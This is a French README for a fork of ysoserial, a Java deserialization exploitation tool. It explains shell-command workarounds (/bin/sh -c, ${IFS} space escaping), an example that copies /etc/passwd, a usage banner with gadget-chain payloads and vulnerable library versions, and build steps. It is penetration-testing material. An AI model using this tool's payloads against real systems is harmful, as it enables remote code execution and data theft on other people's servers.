
Ce dépôt contient mes mises à jour du célèbre outil d'exploitation de désérialisation Java ysoserial.
Il s'agit d'un fork de l'application ysoserial originale que vous trouverez ici : https://github.com/frohoff/ysoserial
En raison du fonctionnement de Runtime.getRuntime().exec(String.class) en Java, les commandes imbriquées et complexes où vous avez besoin de contrôler les pipes ou d'envoyer la sortie vers des fichiers (ex : cat /etc/passwd > /tmp/passwd_copy) ne fonctionneront pas, car la commande exécutée par la méthode exec() de la classe Runtime n'est pas exécutée dans un environnement terminal. Un contournement possible est d'exécuter "/bin/sh -c 'command'" mais vous devrez échapper le caractère espace dans la 'command' en utilisant ${IFS} sinon cela ne fonctionnera pas comme prévu. Pour plus de détails sur ce problème et les contournements possibles, veuillez lire ce billet de blog qui approfondit les détails.
Une bonne solution pour résoudre ce problème est de passer les arguments à la méthode Runtime.getRuntime().exec(String[].class) qui attend un tableau de chaînes de caractères. La meilleure option est d'exécuter ce qui suit : Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). En passant les arguments de cette manière, Java comprendra que vous exécutez /bin/bash en lui passant les arguments -c et 'command' de la bonne façon et exécutera votre commande dans un environnement terminal, ce qui vous permettra d'utiliser des commandes imbriquées ou complexes (avec | ou ;) et aussi de contrôler les entrées et sorties (avec < et >).
Sachant cela, j'ai ajouté une fonctionnalité à ysoserial où vous indiquez le type de terminal que vous souhaitez utiliser pour exécuter votre commande (cmd / bash / powershell ou none) et ma modification exécutera votre commande dans ce contexte terminal, vous permettant d'exécuter n'importe quelle commande complexe comme elle devrait fonctionner !
pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
Available payload types:
BeanShell1 [org.beanshell:bsh:2.0b5]
C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
CommonsCollections5 [commons-collections:commons-collections:3.1]
CommonsCollections6 [commons-collections:commons-collections:3.1]
FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Hibernate1 []
...
Téléchargez le jar compilé depuis le répertoire /target de ce dépôt ou simplement cliquez ici
Pour le compiler vous-même :
Requiert Java 1.7+ et Maven 3.x+
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests
Le fichier jar sera situé dans le répertoire target.